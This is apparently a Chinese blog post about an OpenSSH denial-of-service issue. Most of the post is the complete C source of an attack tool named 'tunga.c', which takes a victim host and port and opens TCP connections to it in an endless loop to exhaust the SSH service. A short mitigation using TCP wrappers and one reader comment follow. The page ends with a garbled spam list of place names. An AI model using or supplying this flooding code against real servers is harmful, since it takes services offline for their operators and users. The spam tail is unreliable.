詳細描述
          openssh存在拒絕服務攻擊,使用如下操作:

          $ ssh user@somehost.com
          ssh_exchange_identification: Connection closed by remote host

          可以導致服務停止。

          測試代碼
          --[ Code ]--

          #include <sys/types.h>
          #include <sys/socket.h>
          #include <netinet/in.h>
          #include <arpa/inet.h>
          #include <netdb.h>
          #include <stdio.h>
          #include <unistd.h>

          int main (int argc, char *argv[]) {

          ??int sd, rc;
          ??struct sockaddr_in localAddr, servAddr;
          ??struct linger ling;
          ??struct hostent *h;

          ??if(argc < 3) {
          ????printf("tunga.c - OpenSSH DoS Attack\n");
          ????printf("by DrBrain <drbrain@phibernet.org>\n");
          ????printf("Phibernet Information Network < http://www.phibernet.org
          >\n\n");
          ????printf("Usage: %s <victim> <port>\n\n",argv[0]);
          ????exit(1);
          ??}

          ??h = gethostbyname(argv[1]);
          ??if(h==NULL) {
          ????printf("%s: Unknown Host '%s'\n",argv[0],argv[1]);
          ????exit(1);
          ??}

          ??for(;;) {
          ????servAddr.sin_family = h->h_addrtype;
          ????memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0],
          h->h_length);
          ????servAddr.sin_port = htons(atoi(argv[2]));

          ????sd = socket(AF_INET, SOCK_STREAM, 0);
          ????if(sd<0) {
          ??????perror("Cannot Open Socket ");
          ??????exit(1);
          ????}

          ????rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
          ????if(rc<0) {
          ??????perror("Cannot Connect ");
          ??????exit(1);
          ????}
          ??}
          ??exit(0);
          }

          解決方案
          編譯SSH服務程序支持libwrap(Tcp-wrappers),然后在/etc/hosts.{allow,deny} 中增加對源地址的控制。

          Feedback

          # re: SSH居然存在安全漏洞!!!還發生在我的身上,RedHat你還很狠!  回復  更多評論   

          2006-08-31 18:08 by JonneyQuest
          我們一直都是在/etc/hosts.allow中限制登錄的。
          應該遇不上這個漏洞。

          只有注冊用戶登錄后才能發表評論。


          網站導航:
           

          posts - 27, comments - 15, trackbacks - 0, articles - 1

          Copyright © E.ven

          主站蜘蛛池模板: 道真| 芒康县| 佛山市| 当阳市| 大埔区| 庆阳市| 区。| 广河县| 西畴县| 连平县| 汝阳县| 来安县| 沁水县| 巴塘县| 南阳市| 昌黎县| 什邡市| 牡丹江市| 敖汉旗| 南宫市| 临沂市| 永寿县| 原平市| 电白县| 乌恰县| 大安市| 林周县| 商洛市| 乌兰察布市| 城固县| 肃宁县| 长治县| 额尔古纳市| 黑河市| 海城市| 洛扎县| 玉树县| 华容县| 龙南县| 临夏市| 永丰县|